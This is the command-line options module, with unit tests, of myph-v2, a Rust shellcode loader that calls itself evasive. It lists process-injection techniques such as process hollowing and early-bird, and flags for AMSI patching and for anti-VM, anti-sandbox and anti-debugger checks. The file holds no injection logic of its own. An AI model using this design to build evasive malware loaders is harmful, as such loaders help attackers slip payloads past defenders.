myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
mod.rs (16659B)
1 use clap::{Parser, ValueEnum}; 2 use rand::Rng; 3 4 #[allow(clippy::upper_case_acronyms)] 5 #[derive(Debug, Clone, ValueEnum)] 6 pub enum EncryptionKind { 7 AES, 8 #[value(name = "aes256")] 9 AES256, 10 #[value(name = "chacha20")] 11 Chacha20, 12 XOR, 13 #[value(name = "blowfish")] 14 Blowfish, 15 #[value(name = "twofish")] 16 Twofish, 17 #[value(name = "camellia")] 18 Camellia, 19 } 20 21 #[allow(clippy::upper_case_acronyms)] 22 #[derive(Debug, Clone, ValueEnum)] 23 pub enum Technique { 24 #[value(name = "crt")] 25 CRT, 26 #[value(name = "crtx")] 27 CRTx, 28 #[value(name = "create-fiber")] 29 CreateFiber, 30 #[value(name = "process-hollowing")] 31 ProcessHollowing, 32 #[value(name = "create-thread")] 33 CreateThread, 34 #[value(name = "nt-create-thread-ex")] 35 NtCreateThreadEx, 36 #[value(name = "syscall")] 37 Syscall, 38 #[value(name = "etwp")] 39 Etwp, 40 #[value(name = "set-timer")] 41 SetTimer, 42 #[value(name = "enum-calendar")] 43 EnumCalendar, 44 #[value(name = "enum-windows")] 45 EnumWindows, 46 #[value(name = "enum-system-locales")] 47 EnumSystemLocales, 48 #[value(name = "image-get-digest-stream")] 49 ImageGetDigestStream, 50 #[value(name = "queue-user-apc")] 51 QueueUserAPC, 52 #[value(name = "fairy-law")] 53 FairyLaw, 54 #[value(name = "module-stomping")] 55 ModuleStomping, 56 #[value(name = "thread-hijacking")] 57 ThreadHijacking, 58 #[value(name = "early-bird")] 59 EarlyBird, 60 } 61 62 #[derive(Debug, Clone, ValueEnum)] 63 pub enum BinaryFormat { 64 #[value(name = "exe")] 65 Exe, 66 #[value(name = "dll")] 67 Dll, 68 #[value(name = "lnk")] 69 Lnk, 70 } 71 72 #[derive(Debug, Parser)] 73 #[command(name = "myph")] 74 #[command(author, version, about, long_about = None)] 75 pub struct Options { 76 /// Binary format (exe,dll) 77 #[arg(short = 'b', long = "binary-format", default_value = "exe")] 78 pub binary_format: BinaryFormat, 79 80 /// Builds binary with debug symbols 81 #[arg(short = 'd', long = "debug")] 82 pub debug: bool, 83 84 /// Encryption method (aes, aes256, chacha20, xor, blowfish, twofish, camellia) 85 #[arg(short = 'e', long = "encryption", default_value = "aes")] 86 pub encryption: EncryptionKind, 87 88 /// Encryption key, auto-generated if empty (if used by --encryption) 89 #[arg(short = 'k', long = "key")] 90 pub key: Option<String>, 91 92 /// Output name 93 #[arg(short = 'f', long = "out", default_value = "out.exe")] 94 pub out: String, 95 96 /// Target process to inject shellcode to 97 #[arg(short = 'p', long = "process", default_value = "cmd.exe")] 98 pub process: String, 99 100 /// Shellcode path 101 #[arg(short = 's', long = "shellcode", default_value = "msf.raw")] 102 pub shellcode: String, 103 104 /// Shellcode-loading technique 105 #[arg(short = 't', long = "technique", default_value = "crt")] 106 pub technique: Technique, 107 108 /// Enable API Hammering (adds random CPU/IO operations between API calls) 109 #[arg(long = "with-api-hammering")] 110 pub with_api_hammering: bool, 111 112 /// Enable AMSI patching to bypass AMSI before executing shellcode 113 #[arg(long = "with-amsi-patch")] 114 pub with_amsi_patch: bool, 115 116 /// Enable string encryption at compile-time with runtime decryption 117 #[arg(long = "with-string-encryption")] 118 pub with_string_encryption: bool, 119 120 /// Enable dynamic function resolver (PEB walk) with encrypted function names 121 #[arg(long = "with-dynamic-function-resolver")] 122 pub with_dynamic_function_resolver: bool, 123 124 /// Enable anti-VM detection checks before executing shellcode 125 #[arg(long = "with-anti-vm")] 126 pub with_anti_vm: bool, 127 128 /// Enable anti-sandbox detection checks before executing shellcode 129 #[arg(long = "with-anti-sandbox")] 130 pub with_anti_sandbox: bool, 131 132 /// Enable anti-debugger detection checks before executing shellcode 133 #[arg(long = "with-anti-debugger")] 134 pub with_anti_debugger: bool, 135 136 /// Enable call stack spoofing using UWD library for evasion 137 #[arg(long = "with-callstack-spoofing")] 138 pub with_callstack_spoofing: bool, 139 140 /// Check compatibility of technique with selected features and display information 141 #[arg(long = "check-compatibility")] 142 pub check_compatibility: bool, 143 144 /// Use low-resource build profile (reduced memory/CPU usage, larger binary) 145 #[arg(long = "low-resources")] 146 pub low_resources: bool, 147 } 148 149 impl Options { 150 /// Parse command-line arguments and auto-generate key if not provided 151 pub fn parse_and_generate() -> Self { 152 let mut opts = Self::parse(); 153 154 // Auto-generate key if not provided 155 if opts.key.is_none() { 156 opts.key = Some(generate_random_key()); 157 } 158 159 // Automatically enable string encryption when dynamic function resolver is enabled 160 if opts.with_dynamic_function_resolver { 161 opts.with_string_encryption = true; 162 } 163 164 opts 165 } 166 } 167 168 /// Generate a random alphanumeric key of length 12-32 169 fn generate_random_key() -> String { 170 const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ\ 171 abcdefghijklmnopqrstuvwxyz\ 172 0123456789"; 173 let mut rng = rand::thread_rng(); 174 175 // Random length between 12 and 32 176 let len = rng.gen_range(12..=32); 177 178 (0..len) 179 .map(|_| { 180 let idx = rng.gen_range(0..CHARSET.len()); 181 CHARSET[idx] as char 182 }) 183 .collect() 184 } 185 186 #[cfg(test)] 187 mod tests { 188 use super::*; 189 190 #[test] 191 fn test_basic() { 192 assert_eq!(2 + 2, 4); 193 } 194 195 #[test] 196 fn test_default_options() { 197 let args = vec!["myph"]; 198 let opts = Options::parse_from(args); 199 200 assert_eq!(opts.out, "out.exe"); 201 assert_eq!(opts.process, "cmd.exe"); 202 assert_eq!(opts.shellcode, "msf.raw"); 203 assert!(!opts.debug); 204 assert!(!opts.with_api_hammering); 205 assert!(!opts.with_amsi_patch); 206 assert!(!opts.with_string_encryption); 207 assert!(opts.key.is_none()); 208 } 209 210 #[test] 211 fn test_custom_options() { 212 let args = vec![ 213 "myph", 214 "-b", 215 "dll", 216 "-d", 217 "-e", 218 "xor", 219 "-k", 220 "test-key", 221 "-f", 222 "payload.dll", 223 "-p", 224 "explorer.exe", 225 "-s", 226 "shellcode.bin", 227 "-t", 228 "create-thread", 229 ]; 230 let opts = Options::parse_from(args); 231 232 assert_eq!(opts.out, "payload.dll"); 233 assert_eq!(opts.process, "explorer.exe"); 234 assert_eq!(opts.shellcode, "shellcode.bin"); 235 assert!(opts.debug); 236 assert_eq!(opts.key.as_ref().unwrap(), "test-key"); 237 } 238 239 #[test] 240 fn test_encryption_options() { 241 let args = vec!["myph", "-e", "chacha20"]; 242 let opts = Options::parse_from(args); 243 assert!(matches!(opts.encryption, EncryptionKind::Chacha20)); 244 245 let args = vec!["myph", "-e", "blowfish"]; 246 let opts = Options::parse_from(args); 247 assert!(matches!(opts.encryption, EncryptionKind::Blowfish)); 248 249 let args = vec!["myph", "-e", "aes"]; 250 let opts = Options::parse_from(args); 251 assert!(matches!(opts.encryption, EncryptionKind::AES)); 252 253 let args = vec!["myph", "-e", "aes256"]; 254 let opts = Options::parse_from(args); 255 assert!(matches!(opts.encryption, EncryptionKind::AES256)); 256 257 let args = vec!["myph", "-e", "xor"]; 258 let opts = Options::parse_from(args); 259 assert!(matches!(opts.encryption, EncryptionKind::XOR)); 260 261 let args = vec!["myph", "-e", "twofish"]; 262 let opts = Options::parse_from(args); 263 assert!(matches!(opts.encryption, EncryptionKind::Twofish)); 264 265 let args = vec!["myph", "-e", "camellia"]; 266 let opts = Options::parse_from(args); 267 assert!(matches!(opts.encryption, EncryptionKind::Camellia)); 268 } 269 270 #[test] 271 fn test_technique_options() { 272 let args = vec!["myph", "-t", "crt"]; 273 let opts = Options::parse_from(args); 274 assert!(matches!(opts.technique, Technique::CRT)); 275 276 let args = vec!["myph", "-t", "crtx"]; 277 let opts = Options::parse_from(args); 278 assert!(matches!(opts.technique, Technique::CRTx)); 279 280 let args = vec!["myph", "-t", "create-fiber"]; 281 let opts = Options::parse_from(args); 282 assert!(matches!(opts.technique, Technique::CreateFiber)); 283 284 let args = vec!["myph", "-t", "process-hollowing"]; 285 let opts = Options::parse_from(args); 286 assert!(matches!(opts.technique, Technique::ProcessHollowing)); 287 288 let args = vec!["myph", "-t", "create-thread"]; 289 let opts = Options::parse_from(args); 290 assert!(matches!(opts.technique, Technique::CreateThread)); 291 292 let args = vec!["myph", "-t", "nt-create-thread-ex"]; 293 let opts = Options::parse_from(args); 294 assert!(matches!(opts.technique, Technique::NtCreateThreadEx)); 295 296 let args = vec!["myph", "-t", "syscall"]; 297 let opts = Options::parse_from(args); 298 assert!(matches!(opts.technique, Technique::Syscall)); 299 300 let args = vec!["myph", "-t", "etwp"]; 301 let opts = Options::parse_from(args); 302 assert!(matches!(opts.technique, Technique::Etwp)); 303 304 let args = vec!["myph", "-t", "set-timer"]; 305 let opts = Options::parse_from(args); 306 assert!(matches!(opts.technique, Technique::SetTimer)); 307 308 let args = vec!["myph", "-t", "enum-windows"]; 309 let opts = Options::parse_from(args); 310 assert!(matches!(opts.technique, Technique::EnumWindows)); 311 312 let args = vec!["myph", "-t", "enum-system-locales"]; 313 let opts = Options::parse_from(args); 314 assert!(matches!(opts.technique, Technique::EnumSystemLocales)); 315 316 let args = vec!["myph", "-t", "image-get-digest-stream"]; 317 let opts = Options::parse_from(args); 318 assert!(matches!(opts.technique, Technique::ImageGetDigestStream)); 319 320 let args = vec!["myph", "-t", "queue-user-apc"]; 321 let opts = Options::parse_from(args); 322 assert!(matches!(opts.technique, Technique::QueueUserAPC)); 323 324 let args = vec!["myph", "-t", "fairy-law"]; 325 let opts = Options::parse_from(args); 326 assert!(matches!(opts.technique, Technique::FairyLaw)); 327 let args = vec!["myph", "-t", "module-stomping"]; 328 let opts = Options::parse_from(args); 329 assert!(matches!(opts.technique, Technique::ModuleStomping)); 330 331 let args = vec!["myph", "-t", "thread-hijacking"]; 332 let opts = Options::parse_from(args); 333 assert!(matches!(opts.technique, Technique::ThreadHijacking)); 334 335 let args = vec!["myph", "-t", "early-bird"]; 336 let opts = Options::parse_from(args); 337 assert!(matches!(opts.technique, Technique::EarlyBird)); 338 } 339 340 #[test] 341 fn test_binary_format_options() { 342 let args = vec!["myph", "-b", "exe"]; 343 let opts = Options::parse_from(args); 344 assert!(matches!(opts.binary_format, BinaryFormat::Exe)); 345 346 let args = vec!["myph", "-b", "dll"]; 347 let opts = Options::parse_from(args); 348 assert!(matches!(opts.binary_format, BinaryFormat::Dll)); 349 350 let args = vec!["myph", "-b", "lnk"]; 351 let opts = Options::parse_from(args); 352 assert!(matches!(opts.binary_format, BinaryFormat::Lnk)); 353 } 354 355 #[test] 356 fn test_key_auto_generation() { 357 let opts = Options::parse_and_generate(); 358 359 // Key should be auto-generated 360 assert!(opts.key.is_some()); 361 let key = opts.key.unwrap(); 362 363 // Key length should be between 12 and 32 364 assert!(key.len() >= 12 && key.len() <= 32); 365 366 // Key should only contain alphanumeric characters 367 assert!(key.chars().all(|c| c.is_alphanumeric())); 368 } 369 370 #[test] 371 fn test_key_provided() { 372 let args = vec!["myph", "-k", "custom-key"]; 373 let mut opts = Options::parse_from(args); 374 375 // Manually simulate parse_and_generate behavior 376 if opts.key.is_none() { 377 opts.key = Some(generate_random_key()); 378 } 379 380 // Key should be the provided one 381 assert_eq!(opts.key.as_ref().unwrap(), "custom-key"); 382 } 383 384 #[test] 385 fn test_with_api_hammering_flag() { 386 let args = vec!["myph", "--with-api-hammering"]; 387 let opts = Options::parse_from(args); 388 assert!(opts.with_api_hammering); 389 } 390 391 #[test] 392 fn test_without_api_hammering_flag() { 393 let args = vec!["myph"]; 394 let opts = Options::parse_from(args); 395 assert!(!opts.with_api_hammering); 396 } 397 398 #[test] 399 fn test_with_amsi_patch_flag() { 400 let args = vec!["myph", "--with-amsi-patch"]; 401 let opts = Options::parse_from(args); 402 assert!(opts.with_amsi_patch); 403 } 404 405 #[test] 406 fn test_without_amsi_patch_flag() { 407 let args = vec!["myph"]; 408 let opts = Options::parse_from(args); 409 assert!(!opts.with_amsi_patch); 410 } 411 412 #[test] 413 fn test_with_string_encryption_flag() { 414 let args = vec!["myph", "--with-string-encryption"]; 415 let opts = Options::parse_from(args); 416 assert!(opts.with_string_encryption); 417 } 418 419 #[test] 420 fn test_without_string_encryption_flag() { 421 let args = vec!["myph"]; 422 let opts = Options::parse_from(args); 423 assert!(!opts.with_string_encryption); 424 } 425 426 #[test] 427 fn test_with_dynamic_function_resolver_flag() { 428 let args = vec!["myph", "--with-dynamic-function-resolver"]; 429 let opts = Options::parse_from(args); 430 assert!(opts.with_dynamic_function_resolver); 431 } 432 433 #[test] 434 fn test_without_dynamic_function_resolver_flag() { 435 let args = vec!["myph"]; 436 let opts = Options::parse_from(args); 437 assert!(!opts.with_dynamic_function_resolver); 438 } 439 440 #[test] 441 fn test_dynamic_function_resolver_enables_string_encryption() { 442 let args = vec!["myph", "--with-dynamic-function-resolver"]; 443 let mut opts = Options::parse_from(args); 444 445 // Simulate parse_and_generate behavior 446 if opts.key.is_none() { 447 opts.key = Some(generate_random_key()); 448 } 449 if opts.with_dynamic_function_resolver { 450 opts.with_string_encryption = true; 451 } 452 453 assert!(opts.with_dynamic_function_resolver); 454 assert!(opts.with_string_encryption); 455 } 456 457 #[test] 458 fn test_with_anti_vm_flag() { 459 let args = vec!["myph", "--with-anti-vm"]; 460 let opts = Options::parse_from(args); 461 assert!(opts.with_anti_vm); 462 } 463 464 #[test] 465 fn test_without_anti_vm_flag() { 466 let args = vec!["myph"]; 467 let opts = Options::parse_from(args); 468 assert!(!opts.with_anti_vm); 469 } 470 471 #[test] 472 fn test_with_anti_sandbox_flag() { 473 let args = vec!["myph", "--with-anti-sandbox"]; 474 let opts = Options::parse_from(args); 475 assert!(opts.with_anti_sandbox); 476 } 477 478 #[test] 479 fn test_without_anti_sandbox_flag() { 480 let args = vec!["myph"]; 481 let opts = Options::parse_from(args); 482 assert!(!opts.with_anti_sandbox); 483 } 484 485 #[test] 486 fn test_with_anti_debugger_flag() { 487 let args = vec!["myph", "--with-anti-debugger"]; 488 let opts = Options::parse_from(args); 489 assert!(opts.with_anti_debugger); 490 } 491 492 #[test] 493 fn test_without_anti_debugger_flag() { 494 let args = vec!["myph"]; 495 let opts = Options::parse_from(args); 496 assert!(!opts.with_anti_debugger); 497 } 498 499 #[test] 500 fn test_all_evasion_flags_combined() { 501 let args = vec![ 502 "myph", 503 "--with-anti-vm", 504 "--with-anti-sandbox", 505 "--with-anti-debugger", 506 ]; 507 let opts = Options::parse_from(args); 508 assert!(opts.with_anti_vm); 509 assert!(opts.with_anti_sandbox); 510 assert!(opts.with_anti_debugger); 511 } 512 513 #[test] 514 fn test_with_callstack_spoofing_flag() { 515 let args = vec!["myph", "--with-callstack-spoofing"]; 516 let opts = Options::parse_from(args); 517 assert!(opts.with_callstack_spoofing); 518 } 519 520 #[test] 521 fn test_without_callstack_spoofing_flag() { 522 let args = vec!["myph"]; 523 let opts = Options::parse_from(args); 524 assert!(!opts.with_callstack_spoofing); 525 } 526 527 #[test] 528 fn test_with_low_resources_flag() { 529 let args = vec!["myph", "--low-resources"]; 530 let opts = Options::parse_from(args); 531 assert!(opts.low_resources); 532 } 533 534 #[test] 535 fn test_without_low_resources_flag() { 536 let args = vec!["myph"]; 537 let opts = Options::parse_from(args); 538 assert!(!opts.low_resources); 539 } 540 }